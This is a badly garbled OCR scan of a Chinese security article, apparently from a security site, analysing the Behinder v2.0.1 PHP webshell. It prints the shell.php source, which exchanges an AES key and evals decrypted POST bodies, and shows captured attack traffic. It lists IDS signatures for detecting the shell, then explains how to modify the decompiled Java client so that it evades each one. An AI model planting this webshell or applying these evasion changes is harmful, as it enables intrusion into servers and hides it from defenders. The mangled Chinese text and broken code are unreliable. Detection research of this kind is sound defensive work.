K88, MAIZIEER

XZ BTN SERRA BI5E 49 WX E,

EXHIt 3251 PF, FuitEhER < 11 98,

0x01 f+ AR kig?

KIS B— IS TABIINBNIAEIRE P in, ESEE
1, %—1C webshell B3 2T A """ (UREEER
BRE, REZMEZEIREWNE, BT RENEN
webshell ZFHKEZ, "KI§" FELNIEMAE,

=lolx|

_:1 URL: [http://192. 168. 81. 130/shell. php CER ‘
BEES | GoniT| A AR | sockstiB | E¥snell | HIBAFEIE | AENAB| FTT | BHHS |

System Windows NT WIN-CHTN2KS1A9M 6.1 build 7601 (Windows 7 Professional Edition Service
Pack 1)i588

Build Date Jul 20 2016 11:08:49

Compiler MSVC11 (Visual C++ 2012)

Architecture xB6

Ceonfigure cscript /nologo configure js *—enable-snapshot-build* "--disable-isapi* "--enable-debug-pack” *-

Command -without-mssgl* *--without-po-mssql* *--without-pidweb" *--with-pdo-oci=C:\php-
sdKloracleBBunstantclient1Misdk shared” *-with-oci8=C:\php-sdkioracle\xBBunstantclient10
\sdk shared" "--with-0ciB-11g=C:\php-sdkioracletxBB\instantclient] T\sdk, shared" “--enable-

- _enabl " with i i

obiect-out-dir=. fobir* "--disable-static- A’LI
>

V|
s

KIS BFIRET JAVA, FRUARIABSTFE{ER, &R
7 v2.0.1, REMRZAINRTSERART, ERINEE
RN BRER. ;T B, XHEE. Socks



IR, 5% shell, BEEEE. BEXESE, Iheedk
BB,

0x02 HnE[RIE

BAILA PHP FRZSJ9fl, "iki§" FERRSSIRSZFT open_ssl
i, {€£/ AES MEFE, BRKE 16 i, AR
AES-16, LLTERRMFRRIEH (e4/RALIEERRT AES 15L&
BENFKES) LHEEREMINEER, REFEEKRME, IFE

SEAS B2 HO R
EEMRENE,

INERIZAZIN FEIAR:

% P v M 55 @&

GetiF K

HIEER BEf =42

l

Z4RAE ASession

l

A 4

FRER < BHEEAEAE
Jn&EPayload
l Postif K
%&i%Payload > 2 %Payload
FHHITEE < H{TPayload

BAREFImM Get Pl R EHFZBINERK.



Simr- BN ZER, BEEHE N Session FIEEHREAIR
@%Fﬁﬁ‘ﬁo

EFimIkENZRARE, I payload BB AES EiEN%,
POST ﬂ:/ftyi\ 1IEJ;_R

ARSZIRULEIER, FB Session HRYZREAMRERE KA Body
o, ZIENIT Payload, FBEIRARIRLIZEIE ik,

I.

jn

EFmRBUREILGR, ErE U FHELE,

BNBREEAS, "KIE" EH1T Payload 2 EHIIR[E]
HIRBETRME, XABTITATUMBTH webshell &
Eo

shell.php

ct($ _GET["pass*']))

$key zub:tv(mdi(uniqid(rand())),‘s);1
$_SESSION[ 'k* ]-$key;
print $key;

$key-$_SESSION[ 'k'];

$post-file_get contents("php://input™);
(!extension_loaded( 'openssl’))

{

$t-"base64_". "decode";
$post-$t($post."");

($i-0;%i<strlen($post);$i++) {
$post[$i] - $post[$i] $key[$ii1215];
}

$post-openssl_decrypt($post, “AES128", $key);

}

$arr-explode("|*,$post);

$func-$arr[0];

$params-$arr[1];

class Cf function __construct($p) {eval($p."");}}
C($params);




0x03 \WEdTE

GET /shelL. phapass=593 HTTP/ 1.
Content-type i spplication/a-wrr-forurlencodsd

Tatareih.d. JEHLOC

Conmectaons keep

HITE/1.1 200 0K

Date: Tho, 09 Jul 2020 08:43:13 GHT

Server: Apache/2.4.2) (Vsn3Z) OpenSSL/1.0.2) FRF/5.5.38

I-Povezed-By: PRB/S.5.38

Set-Conkia: FRPSESSID=cnad060c AEIToncvsqatss: pitte/

Expires: Thy, 19 Hov 1981 08:62:01

EEthi il it s e ST D
s no-sucte

Cont ens-

Carmectaon:
Cont ent=Type: text/ht

[T (il o oaer 2 WL
[Cont ent-type: spplication/x-w~fora-ur Lencode:
11

130
insce/at, insee/Spen, ¥i 2 W6
dive

HITR/1.1 200 0%
Date: Thu, 09 Jul 2020 08:43:13 GNT
Servor: Apache/2.4.2) (Vin32} OpenSSL/1.0.2§ PHP/S.5.38

i

.

ctaon
Cont smt-Type: Sext/hanl

O16136T85£117¢9SFOST /shell.php HITP/L. |

LET
Host: 192. 168,81, 130 “\\_\
et v, mceleit, insaeiper, o

o okt NSEE 5o Windovs N 6,1, WAGH, Trident/5,0, 510521

kb 2t Eratudetdifonze
/5.0 (conpatible; NSIE 9.

Cookie: FAPSESST
Tger-Agent: Ko

<
Pragas: o-cac)

Host: 102, 164, 81130
Cermections keep-
Cont ent-Longth:

L
paths/
: Findove NT 6.1; WOWGH, Tridsnt/6.0

EY

BT CLR 2,0,50727

Jife 55 St 2

JET L

S iR [

LAPOST 5 3,

2.0.50721

A8 wireshark RIMBET "kKig" 181

- ifi [lwebshell

=\,

a

PG EH

KT CIR 3.5.30729

BT I

ik

o

N

SKET CIR 3,6.30729

=

=

VNET CLR 3.0,30729; Media Centex PC 6.0;

jwebshell

BET CLR 3.0.30720; Hedia Center PC 6.0;

Date: Thu, 09 Jul 2020 08:43:13 GHT
Server: Apache/2.4.23 (Vin32) OpenSSL/1.0.2) PIP/S.5. 38
T-Povered-By: FHP/G.5.38
: Th, 19 ov 191 08:5200 GNT
: che, ust-revilidat

post-chacksd, pre-chacks0

=98
Kecp-Alive
Content-Type: temt/htal

6ra/t1

e e e o
Cookie: FiFSasSibedpmkie sustudstds pat
iy

22 pathe/
(comeat shla: WSTE 5.0 Windows NF A 1 WONAL Toidens /6.0  SLEC3 _MRT

» 20,5090

e s

520108

IR - ¥ 8 [ FF 4 0

DEERn Bl s mBn aneT " ss780 CICH00RADTEC
OTLY;
FoubYFYNT/ 3TUheIE: i e80Ty zFUSCUBLY
L LARD/
o i, ek
& 7 U
#h -1 200 OF

ZahelLsho BTTP/1.1

NET CLE 9030778 Madia Cantax 9 &0




MIMBLER LHEEERE, IMERRZEAER, 2REERER
AREIHATRE,

BAIRIRS IR EIRIER, WEF RAERIRXASTHT

R

-

BBRERNUTR:

trlen($data);$ii+) {

i0; L
$data[$i] $data[$i] $key[$i 1;

$data;

BA IR MZOAT R Z— TR BH JSON 18zUHY
success RUIR[E, BERSFERER AES B&R—FEM
2, FRLAFRA1EE webshell FigEMNE, miREFNEMN

21,
0x04 BT iEF

WA —E#HENIR RN, BRRIEKLNEESR
M, MEETEMEREF, KB NRIRE



v2.0.1, AT 2019.2 ZfERiisBiETd
A BN ARG R WAF BEZ X EAFIE#HIT

AFI,

FHRA:

1. E[24504]: ETFURIBISQUEN

2. Ig[24505]:Apache Axis 1.4 FCERIBHT(CVE-2019-0227)
3. E[24506):Coremai i ZBPFRSHE B EBIER

4. I ([41696) (2k48PNE=PHP WebshellS0i E&

5. I2et[41697) | AABPIZASP Webshellszit L&

6. I2t5{41698) | k48PN=: ASPX Webshel 3¢ E&

7. i [41699)[2KiBpEEISP WebshellSZf$ EE

8. BGE[24507]:httpilKuri/referer=ERB S8

=, =

27004872 thinkphp5.x_controller_name_rcefifkthinkphpifsiEBar#m)
25612336 PHP Shell inject{fiAta SENBFAN

25612334 linux command injectfEAkasSEATTIFHNY

18612236 password_access{ALREEZF AN

27526166 WebLogic_Async Remote_Code_Excuteffi#tWeblogichFF#in
AR LA, HnpkiBebshelliSiE

BEROMEREMNNXELELERS.

Bai'&'EE

PISTERASE ©

#RTR

Zm%ﬁi 1 E] 28 - IiEi WEL?&M i-?"ﬁfft WAL @ﬁl'éﬁwURL§ﬁ BRE2:
ERIAIURLEE SRS 3:AcceptFER(TT45IY) 3815 4:UserAgentER(AT45IS ..
https://www.freebuf.com/news/2... - - BERER

e 7kiSwebshel 37 i, PHP_12306/\Ef-CSDN
2019488218 - WNha LUK BV OB AR BB FES B85, user-agent SIES Y
SREBHEBTE. TLUAE Hduser-agent#TRAISHT, EUREPOSTIREIE F4E/IE. ..
© CSDNEAIE ~ - EEthEg

2019555290 - RpkERITNFHTN—FWebShellZF 5%
HEEE RifH{TI0%, BIIEFSAR FIREE

Tk ).

https://www.freebuf.com/column... ~ - EEHREE

25§ ‘ebShell. SR EE SAE
2019512580 - RGBS TS DHKERARRMEA @splaspxljsplispxlphp).aa s
RGN FERBSISE S HRGSEE S snort I, Accept2HTTPHNUAEFBEY...
@ 2R - - EEste

JRhR KIS EXTEERER LN BN ERT,
FEBHCHF.

B, M

oI

AE—F

XA HA]



&I, MENE #ME2NFT

0x05 BHBUESR

B7%H JD-GUI FkHFmiFIR, R#FE JAR BR7FIR
g, AIUMAPETAEER] Ul XHESIANEREER, KB
fERAT SWT 1EZ=ERN UL,

BESRXBEFAIEIZA Eclipse &% WindowsBuilder, 3
BHEOIE SWT InH.



%3 WindowsBuilder

£ Eclipse #J Marketplace B## % WindowsBuilder,
=i Install Bl &3k,

==Fclipse Narketplace _Il:llﬁl
Eclipse Marketplace

Select solutions to install. Press Install Nov to proceed vwith installation.
Press the “more info” link to learn more about a solution.

Search‘R:cent|Popular|l’nvor1t=s|Inx1a11=d.l 2 Giving IoT an !dgel
Find: [P VindovBuilder % [A11 Markets =] [#11 Categories ] Gof

WindowBuilder 1.9.3

#*#% NEW VERSION 1.9.3 ##* VindovBuilder is composed of SVT Designer and
Swing Designer and makes it very ecasy to create Java GUI applications
" without spending a... mere info

by Eclipse Foundation. EPL

* 582' # | Installs: 398K (11,853 last month) Inltnlll

ZIEBMNEZAIZET SWT IiE, BIrERR swt &
RIS S ERAY R TR (D)L

Select a wizard
Create a Java project with S¥T/JFace support

Vizards:

|!3-'pf: filter text

(= General
(= Gradle
= Java
= Naven
#-> Plug-in Development
=& WindowBuilder

= SWT Designer

(£ SWT/JFace Java Project

®-= Exanples

B R w12 ERRIBA JAR BSATE, gl
RFBANBERE (ZE—KERESEMHRESE, NS

MHmETAENLEERREEN) FHARLRIREHRE
3.



ci1~u

SR anlFleR. . (BRP CRO R RS e R R R A S E R s [
© Debug s Froject Explorer 7 S% 7 |0 Diinjwas D Esicnto. java
5 3 Behinder 3
& B JRE Systen Library (svssed, 2] “ public static void main(String(] args) {
a1 ty

new Main().open();
) catch (Exception e) {
e.printStackTrace();

ol

Fi S 4% [1001s #1 www. 10015 netd

2020-07-08 15:43:53

)
hUtp://132.168. 81, 130/shel . php 15Z.168.81.130 pass  php  winmt

BRABAIETRINIER T R FEZEHIN,

0 error(s), 0 warning(s)

AIIAERI B S LERE B, EEIZEHE net &
T, Mainjava AfEFAO, XEFRENETETRRNA
FBRYPER:

& 4®sre
= £ net. rebeyond. behinder
=i core
-0 Crypt. Java

sopenmiae o —— FOLINEE, IERE. shellfig. IS

o & php R "
o & resource 4——————————— M. B
ea- [UEvEN

@ () BasicInfoltils. Java

= 1) CadUtsls. Sava
& (1) ConnectBackltils. Java

i ik ULFt, FRINEE——F M
anageritile. java €
vaiiie fave
3 leNsnagerUtsls, Javs

© {0) NainShell. Java

@ 4f) ProxyFora. Java

© ) ShellForn. Java

& (1) Starter. java
@ utils

@ 3o
# () Basichuthenticator. Java



LA, WERESWEXE

ETFNREENREHE, FIHEAHEXH,

ImEfFE

0x06 4HIERRR

R LBEN K8 BEOANSE, BEN/1E
BEF RIS EAL PISBURR. X PHP KEAHHI, Hft
EEMRARHE T,

1. ZBEAZIRATHY URL 2%

BSHEPIME R AR S L, B GET IBKA,
BAIA webshell FUEEX pass, HESEER 3 LIk
#or,

ows NT 6.1, WOW64, Trident/5.0; SLCCZ; .NET CLR 2.0.50727
er PC 6.0, InfoPath.3; .MET4.0C, .NET4. OE)




M webshell &, SEENRBHIAFHIZHEEEIEARE
FH:

)s

EFmE LA R ZREEC

BAVRE T — RS UE BT AR -

\.(phpljsplasplaspx)\?(\w){1,10}=\d{2,3} HTTP/1.1

ZANA] APCES 1-10 123288 webshell, HESE1ER
2-3 {UREF.

1B :

IEINBENE ERIBENL S EBAIRETE (FEHLIER N EEK
¥) , FEERESERERENE T,

IEEUERIRUIR

GET /shell.phy{?6J01uP=bUObUJ&7 ENROL-COOUQLZEPASS~FLFf SERBF Mz R=ESZAERC fHHHU=P1M3R6F ECAKNBR=-NY6L0 HTTP/1.1




ywes apy T e
t: Mozi 11 /s a (n dms U; Windows NT 6.1; en-US) ApplewebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33
ri/534.3 SE 2.X Metasr 1.0
1 192.168.81.130

cept: te; Uht 1, i getg if, iwage/jpeg, "3 g=.2, /%5 g=.2
onnection: keep-al

AR
&

2.header HfJ Content-Type

ZRIATE header HH] Content-type FE&, E—RRIBER T
B9 GET FesUihla@ig BT M, RE POST F2xX89ih
A7 RE. 18 "Ki§" TEeE GET LN B2 POST 2
RSB ST, B TRAKEE, MEIZFER
MARNER RO, ATAETXRIMEARD]MURR,

GET /s h 11. php?pass=593 HTTP/1. 1

Content—type: ppl cation/x—www—form-urlencoded |

Use; f-g‘en Mozilla/5.0 (compatible, MSIE 9.0, Windows NT 6.1, WOW64, Trident/5.0; SLCC2, .MET CLR 2. 0. 50727,
NEIT CLR 3.5.30729; .NET CLR 3.0. 30?29 Media Center PC 6.0; InfoPath.3; .NET4. OC; .NET4. OE)

Host: 192. 168, 81. 130

Accept: text/html, w/ef image/jpes, * q=. 2, */* ¢=.2

Connection: keep-alive

BA1RE TR RIS

ShellService. Java
public ShellService
i nti

ShellService fX&—" Shell fgs5, EEMEREH 31
1THIBR T, ANREBZE php MTE header FHOIA
Content—type sk, 187 35 1THY getKeyAndCookie [d]

ImAIE GET 15 KIREVEEARY, L header ki
)\EEF' FR &% GET iERBRtbEEFIHS

BB

GET FERXipaIRS7E header LIS FER, POST Rt



B R IEES Content-Type B "text/html;
charset=utf-8" U@ Z 2N (B ARK)

1B ERIRR :

GET &3k

GET /shell.phpnLxqrit= & QeAAUYT 228 KEO ICha= S kAT BDF S =554 Q8VbE f6eF = CPUMYC HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows HT 6.1; ) Appleebkit/534.12 (KHTHL, like Gecko) Maxthon/3.0 safari/s3a.12

168.81.
cept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

POST 153K

771db3c5a0eabd6aposT /shell.php HTTP/1.1
Content-Type: text/htal; charset=uti-a
Cookie: PHPSESSID=N3832119719153b11cg739)7ps; path=/

/5.0 (Windows; U; Windows NT 6.1; ) AppleMebkit/534.12 (KHTML, like Gecko) Maxthon/3.® Safari/534.12

i

: che
Host: 192.168.81.13@

accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
connection: keep-alive

content-Length: 1068

3.header Y User-Agent

User-Agent 2 EFAFRIE, SESNRRIIRIERRS

BEEMG. 7 "/KiE" WEHRAERE User-Agent 4541

KRR, RIRACEBAT XM, ﬁ@)ﬂﬁ%%i !
> shell EESM 17 TRER UA EREHIERE—

GET /shell. phpPpass=593 HTTP/1. 1 2]
Comem-tvne: application/x-www-form-urlencoded
er—Agent: Mozilla/5.0 (compatible, MSIE 9.0, Windows NT 6.1, WOW64, Trident/5.0, SLCCZ, .NET CLR 2.0. 50727, . NET CLR
.5 . 30729; . NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C: .NET4. 0E)
Host: 192. 168. 81, 130

T
Accept: text/ntnl, image/gif, imagelipes, % q=.2, #/k; =2
Connection: keep-alive

RETIXEDH JAVA {1

sselnfoview, final Tree dirTree, final Text cadview, Fnal Lobel connectStst




AIAERIERENMEE Constants.userAgents FREX 7 —
™ME.

B Corsvante. s 55
B ¢ packoga net. rebeyond. behinder.utils;
palde clans Cooscanes
- Plic statie dnt ENCAYPITYPE AE:
public static dnt ENCEYEL IYRE_XOK
5 public static int NERUALL =
7 publc stetic int MEKLCLEAR = 4095;
5 public static int MEMLCOPY = 16
public static nt NENUCUT « 1;
19 puplic statie Ant MENUFASTE = 256;
public static int NEN SELECE ALl - 65536;
2 public static int FROKY OISAGLE =
public static int FROXY_FNAALE
4 public static dnt AEALCH KUV
1 BUbLde stuths dnt REMLCU STORPED
1 publsc strtic st 5

= e

eriiags Wnd)—-\ NT'6.; vouaa) spplenebedtysas.1 gune, Like o
v:6.0) Gecko/20108101 Firefox/6.o",

HTHL, 1ike Gecko) Version/S.1 Safarl/534.50%,

ko) Chromef1a.9

163 Safari/s3s.

Tridint/s.0; NET CLA 2.0.50727; SUCCR] MET CUR 3.5.30720; T CUR 3030720, M
Trident/e. €2} NET CLR 2.0.50727; 3.5.30729, NET CLR 3.0,3072

) Maxthon/3.0 Sefari 534127,
R

sone TSty e WET CLR 20 ; Media Ce
5 HOWG; Trident/S 0} e IR Sariers Media Ce

en-Us) Appleweb Lefsid.3 Quiw, Tike Gecks) chione/e-0.a72.33 Safard
AT b1 Moy Tiident/sot SLCCR: MET R 3.0.3970%;  NET CLR 3.5, 309305 hE‘ €15 3-0.34720; Madia e

oriiofs 6 (Findes W1 611 Aol okt eTs35,1 (HE s Tike Secher :mwm 0.782.41 Safori/535.1 QBrowser/6.
“Mozilla/#.@ (compatible; MSIE 7.8; Windows NT 6.1; WOWSd; Trident/S.0; SLCC2; NET CLR 2.8.50727; .NET CLR
Mozillafs.e (conpatible; MSIE 9.; Windows NT 6.1; WOWGA; Trident/5.0)" 1

7
S6729, AR €48 3.0.30729; Medio Ge

XREEIEE UA B3R EShRANEERR (B, than:
Chrome/14.0.835.163 & 2011 & fHIARTS,
Firefox/6.0 th:& 2011 SFRIRRA, XFX sEEs B AR
AER, FRBHERAAE, AIMERIMNSE,

(ETRERN R

(ERBFTRARE LA 528 UA SKERAERIIBA UA

=1
mE,

IEERERIRR :

2020 T &8y Firefox 75.0:

-1 = 7 jy=. - = 187 1 fuz s9=NU1RSQRYINHTXF =20y TH HTTP/1.1 :’
ser-Agent: Mozilla/5.0 (Windows T 6.1; Winbd; x6d; rv:75.0) Gecko/20108101 Firefox/75.0

HOSUT 197, To8. BT, 130

Accept: text/htwl, image/gif, image/jpeg, *; q=.2, */*; g=.2

Connection: keep-alive

2019 & 11 B &% # Chrome 78.0.3904.108:

GET_/shell.php?fve?5=1YS0f21&rcHMLP T y=t gthyWn&DiIb8=bIuMmSEpass=IyMUNNhEKEIer0]-8GFRURRT020L=NBhtX T HTTP/1.1 il




HOSt: 192.168.81,130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
connection: keep-alive

4.header AAEY Accept

15K header HH Accept FEREVAS 22— LR
HOME, UHETE GET A=Al POST LR BIIERPIYTFTE.
M7 E ST 2R EAIgF AR X+ Accept FIE

SRR, FRLALLAMBRTME R — e H B AR
MOMARE

GET &3k

5=1v50f21&rcHLPry=tgthywn&Di Jbg-bTuMs&pass=IyMuNnh&kEgero-aGfeudaforoL=HBhtxjT HITP/1.1 ﬂ
afs © (windows NT 6.3) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 safari/s37.36

mage/jpeg, *; q=-2, */*; q=-2 |

POST &K

5¢95e7d3906724bbPOST /shell. plp HTP/1.1
1y 3

Cookie: PHPSESSID=65t6n \40«:22 nsgzlzoc 78mcr2; path=
.0 (windows NT 6.3) applewebki t/sn.z:- (kHTHL, like Gecko) Chrome/78.0.3904.108 safari/s37.36

if, image/jpeg, *3 a=.2, */*3 a=.2|

A=A ERE R JAVA B9 HTTPURLConnection &
("IKEE" (EFR HTTP BEFE) T%HIRE Accept 1B
&8 BEREENRINME, MEBFIRIAHZEXS

Accept HITAIE,

BB :
{B28EK header H#Y Accept HI{E.,

1EEERIRR |

_~— NI



GEl 1|\/X:

GET /shell TRC=tL i =gylhs HTTP/1. 1
Accept: text/htal application/xhtalixul,application/xnl;q-0.9, inage/mebp,*/*;q=0.8]

User-Agent: Mozi11a/5.0 (X11; Linux x86_64) AppleweDKit/537.36 (KHTNL, 1ike Gecko) Chrome/80.0.3987.132 Safari/537.36
Host: 192.168.81.130
connection: keep-alive

POST

afebads784676940P0sT /shell.php HTTP/1.1
content- 'Vype‘ text/htal; charset-uti-3

0 chrome/80.0.3987.132 safari/537.36

A
Cacha-Control: o- cathe
Pragma: no-cache
Host: 192.168.81.130
Connection: keep-alive
Content-Length: 1068

5. Z/RBRE

£ KIS BOEKIAR %EF' SEMREE GET FZRNH0E
KIAMBHNETE, XREEREFIE,

EEabth A PR — i

cEr /shell. phpPpass=593 HTTP/1.1 =
: opplication encoded

u“x-ucm Hozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOWSd: Trident/S.0; SLCC2 .NET CLR 2.0.50727 .NET CLR 3.5.30729; .NET

CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.OC; .NET4.OE)

Host: 192. 168. 81. 130
s S BRI

Accept: text/html, image/sif, image/jpes, *;
Connestion: keep-alive

HTTP/1.1 200 0K

Date: Thu, 09 Jul 2020 08:d3

Serwer: Apache/2.d.23 (Ilmﬂﬂ) t'penS5Ll| 0.25 PHP/S.5.38
X-Pomered-By: PHE/S.S.3%

3vsaatss: path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, mo-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache % B ‘(j—v\ﬂﬁ %:

Content-Length: 16
: timeout=s, max=100
Keep-Alive
Content-Type: text/html

it 12 [21] FA) 3 4

fei&ftﬂ!ﬁd-ﬂ-!ﬁiZG!T /shell. phpPpass=362 HTTP/1. 1
pe: application,
US:r'M:l\I Meozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1, WOWEd, Trident/5.0; SLCC2, .MNET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0: InfoPath.3; .NET4.0C. .NET4.OE)
Host: 192. 168.81. 130 —
Accept: text/html, image/gif, image/jpes, %, q=. ;=2 g‘@#()\fj}‘fﬁ(m
Connection: keep-alive

HTTP/1. 1 200 0K
Datc: Thu, 09 Jul 2020 08:43:13 G
Snrver Aoache/? 4. zs ®Win32) apenssul 0.2) PHP/S.5.38

X-Ps
i path=/
21;?3;3‘:’.: ‘l’fileif? ',.?fiif;f)’ e B IR IR A i 1R 1 () 5

Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=99
Connestion: Keep-Alive
Content=Type: text/html

016126755£117095P0ST /shell. php HTTP/1.1

Content-Type: opplication/x-wmrforn-urlencoded """ & i R iEPOST ),

Befl1RE TUIEEI



Dotie e =ici
4F(s == "Content-type") =
cont

(urlud the

tHeaers. get(urluithsession));

) geiResponsetode() we 302 || ((HLARLCsmcstion) u 3.getResponseCode() == 301) {
HaRLCmmecion) ion) . getheaderFieldst) . get("Location™)) . get(o});
£

getsost()

o (url.gatport) == 1 ¢ url.getDafaultort() ¢ url.gatbort()) + ur
=091, )

.puE("urlHithsession”, urluiths

false;

urlConnection)

« ”
SuRRALSHHET;
) o ) == ae8) {
anection) urLCoanection) getErrorStrean())s
T IComectio 7]

. br.close();

1F (error) {

throu new Excepticn(errortise);
}
216 62 1

- Hatcher = » r.antcherd ey 11: " .'_l

X—H R EHAFEAN rawkey_1 TEH,

001, Jova 33

String raukey toString();
String p [a-FA-F0-6] {16
Pattern r = Pattern.compite(patterny;
Matcher = = r.matcher(raukey_1);
1F (1n.find()) {

throw new Exception("TMTFEE. BRTERMEN);
} alse {

ant

H— PRI P key

ey 4—‘—-J——— IR key

y 12 5231 [a]

AndCookie.get("cookie™));
, String.valueof(start));
» String.valueOf(temp.length - end));
= new String(Arrays. copyOfRonge(rakey_2.ge
Finalkey);

result.put(“key’

BIRREMZATEER rawkey 2 TEAR, Zf5 rawkey_T
M rawkey_2 #H1T T FEIRIE, B FERKFIET,

MMEREHZFME, RZSZILIRE 10 REZH, TiERX
RABRXELRER, LR 1ER 2 R OK
T, SIRREVEBRNEREBIAIRZ, TARRXRENT

ARIAIEHURINGABREA B IR AT AA N T 1S XS U BREA G0 V¥



TXIUINBATZIHITT TAAE O P MIMA/XITIZMIINBATD TAHI/NRA 0

1EEUE RS :

W

-

-

Mt 2R SRERVERTARIE RS, AIDACA—/ X3RN, &
EIEZASE webshell B, BXRIRIZHANITTE.

1B ERIRR :

=lo]x
GET /shell.php?euzF pSH1ZE3L ido&KeGC! igg ¥ 2o P kcqh mw;E'
Content-type: text/htal; charset-utf-g
Accept: text/html,application/xhtulixul,application/xul;q=0.9, image/vicbp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.3) Applewebkit/537.36 (KMTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Host: 192.168.81.130
Connection: keep-alive ‘—‘———\_\_‘__
hs P
HITP/1.1 200 0K #d\?ﬂ{l G %H
Date: sun, 12 Jul 2020 ©2:13:11 GMT
Server: Apache/2.4.23 (Win32) OpenssL/1.0.2j PHP/5.5.38
X-Pouered-By: PHP/5.5.38
set-cookie: PHPSESSID=bbagmcalicsejl1qldoqzljhiz; path=/
Expires: Thu, 19 Nov 1581 08:52:00 GMT
cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=o
Pragma: no-cache
i |content-Length: 16
i |Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
| |content-Type: text/html
¢ e Vo abe Rt e e ]
9dcaeBeed8s9394cP0ST /shell.php HITP/1.1 %# K7 n) ﬁ'h(jjl
content-Type: text/html; charset=utf-8
Cookie: PHRSESSID-bbagmcalicsejliqldoq21ihiz; paths=/
Accept: text/html,application/xhtulixul,application/xu1;q=0.9, image/viebp,*/*;q=0.8
user-Agent: Mozilla/5.0 (Windows NT 6.3) Applewebkit/s37.36 (KHTML, like Gecko) Chrowe/78.0.3904.108 safari/s37.36
cache-Control: no-cache
Pragma: no-cache
Host: 192.168.81.130
Connection: keep-alive
content-Length: 1e6g
2q6ckge6ats7qGdd] ZBUZ0LKwHXUOHdehZ 3PKaXTVSBPRDN/
3L2YqKALC SP37BWSYIBC 3KCvoedki Katr 1hk L7RMASTWKADF 41 p 2
P i8onjqEpLE IXCSxINAOYPKiX 14055+ J3L SOF 3VIEZIBb6GH 24 AFFHUL
<x52y5apwf 1PRSZv7b/23€K/anmXRULTYiyakB3AT/ +4+/4+Gyaumy j+ yx072/ E4Nt33i30Dykgh70us o /
CHpNBIchiI28r0S EKN561VP6 huVpppuC GAOC LVFhzAQR e JER FSTC aims L650K/
ix86hcqsqri D295 iIqui i 7EZbSYABG7PQKPLUI UpNISNSTTS 152 KKOAUVCKDOFBLVZSEF )

6.response HFiR[0]Z%
EIREVEAN, REIAREIREZMN 16 (FRAIIFNIRE

AEPiR, XNSALERRIME, BIIRETERNGR
R E

\r\n\r\n[a-z0-97{16}$

il



Content-Length: 16

KNASZE: AT\ r\n BERTIE 16 (UFB/NE
+ BFHENERE, BECHA Content-Length: 16 J9iR NI
—EEAE,

HTTP/1.1 200 0K

Date: Sun, 12 Jul 2020 ©2:13:11 GMT

server: Apache/2.4.23 (Win32) opensSL/1.0.2j PHP/5.5.38
X-Powered-By: PHP/5.5.38

Set-Cookie: PHPSESSID=bbagmcal3cs6jliqldoq21ljhiz; path=/
Expires: Thu, 19 Hov 1981 08:52:00 GMT

Cache-control: no-store, no-cache, must-revalidate, post-check=8, pre-check=0
CmtenbLen;th: 16

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

I edcaesccdssslsmc}usT /shell.php HTTP/1.1

BAIRE T EP RIS T2 AR EE AN -

) Utils, Java 2

String pattern

15 br = new BufferedReader(isr);

157

158 String line;

159 while ((line = br.readline()) l= null) {
160 sb.append(line);

61 }

162

h63 br.close();

164 if (error) {

165 throw new Exception(errorMsg);
166 } else {

167 String raukey 1

16

1 Pattern r = PatteFn-c '3 GEA
170 Matcher m = r.matcher(rawkey 1);

171 if (Im.Find()) {

72 throw new Exception(*T EFE, EELZEMEHE™);
173 } else {

174 int start = 9;

175 int end = 0;

176 dnt cycleCount = @;

177

RIS RILES T 16 (UMFHE a—-f KB + BF, hah~ X
ERARER? ? ?



[REE "KiE" BRIABFHY webshell £:

(isset($_GET['pass’']))
[
) $key-substr(md5(unigid(rand())),16);

$_SESSION| 'k* |-$key;
print $key;
}

[E9 webshell £RHZRBEIEN md5, md5 SR
Ere 16 #Hl, PALARE 0-9a-f,

BB

GET FZRVi5 8RS, AJMINA—LERENREINES, &

FRARE,



A AFE MAIL SRR L R sfe -

« 2> C o © £ 192.168. 81. 130/shell. phpPpass=124

My info is here.

el

GET /shell. php?dTXgi P ¥1) HTTR/1. 1
Content-type: text/html; charset=utf-g

Accept: text/htal, application/shtml+xal, application/unl; a=0. 9, image/mebp, +/%.a=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.3) AppleMebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Host: 192. 168. 81. 130

Connection: keep-alive

HITR/1.1 200 Ok

Sum, 12 Jul 2020 03:18:15 GMT
Sox uch:/? e (WmJZ) OpenSSL/1.0.25 PHP/S.5.38

K-omered-gy: PHP/

SroCoonta: PapSESSID JSbZ{ble%lmrl!nuGchlfhl path=/

Expircs: Thu, 19 Nov 1381 08:52:0

Cache-Control: no-store, no~ tu:h!, s revalidate, post-check=0, pre-checks0
Pragma: no-cache
Content-Length:
Keep-Alive
Connectieon: K
Content=Type: text/html

Content-Lengthf 4%

<IDOCTYPE html>
tal>

<head? ) ) .
s <title>Infol/titley / @,ﬁwﬁlﬂﬁ

Hy info is here, <!==Ca id="post_js_url” href="/js/58fbe083be1d42¢9. min. js "> Infol/a>==>
</body>

</htnl>
POST /shell. php HTTP/1.1

Content-Type: text/html; chorset=utf-

Cookis: PHPSESSIDejSb2dbi f28ehar MagSuloifhd, path=/

Accept: text/html, application/shtnl+xal, application/unl nage/nebp, *
User-Agent: Mozilla/5.0 (Windows NT 6, 3) AﬁnleWEbanSZ’f 36 1KI||'JII., like Cvel‘.&' Clu'o:l::f"5 0.3904. 108 Safari/637. 36
Cache-Control:

Pragma: no-sache
Host: 192. 168, £1. 130 3 7
[y / % PR IT A I
Content-Length: 1068

